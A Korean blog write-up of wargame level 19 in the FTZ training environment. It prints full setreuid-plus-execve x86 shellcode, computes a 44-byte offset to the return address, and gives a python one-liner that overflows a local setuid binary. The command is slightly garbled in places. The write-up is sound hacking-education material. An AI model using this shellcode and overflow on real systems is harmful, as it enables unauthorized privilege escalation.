Layer7 20과제 -F.T.Z level 19 풀이-
2019. 7. 12. 04:39ㆍFTZ
level18처럼 코드 길이가 엄청 길까봐 식겁했네요.
다행이에요. 짧아서
어셈블리 코드입니다.
오늘은 뭔가 소스코드가 비어있다는 느낌을 받으시지 않나요?
여태까지의 소스 코드와는 다르게 setreuid()나 system("/bin/sh")와 같은 함수들이 없습니다.
아무래도 쉘코드를 만들 있는지가 관건인거 같습니다.
먼저 레벨 20의 권한이 있어야 쉘을 실행시킬 수 있으므로, 쉘을 실행시키는 코드의 앞쪽에
setreuid의 기계어 코드를 넣어야합니다.
따라서 setreuid(3100,3100);과 같이 만들면 됩니다.
이 값이 바로 setreuid() 함수의 기능이 포함된 쉘코드입니다.
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
쉘코드
환경 변수를 설정하고 프로그램을 만들어서 값을 알아냅니다
40을 할당받음
esp40+4==44 ret에 무언가를 넣어주기 위해서는
44 만큼 덮어주어야할거 같아요./
(python -c 'print "A"*]
'
44+"\xb4\xfa\xff\xbf"';cat)|./attackme
드디어 이제 마지막까지 하나 남았습니다.
we are just regular guys
'FTZ' 카테고리의 다른 글
Layer7 21과제 -F.T.Z level 20 풀이- (0) | 2019.07.12 |
---|---|
Layer7 19과제 -F.T.Z level 18 풀이- (0) | 2019.07.12 |
Layer7 18과제 -F.T.Z level 17 풀이- (0) | 2019.07.11 |
Layer7 17과제 -F.T.Z level 16 풀이- (0) | 2019.07.11 |
Layer7 16과제 -F.T.Z level 15 풀이- (0) | 2019.07.11 |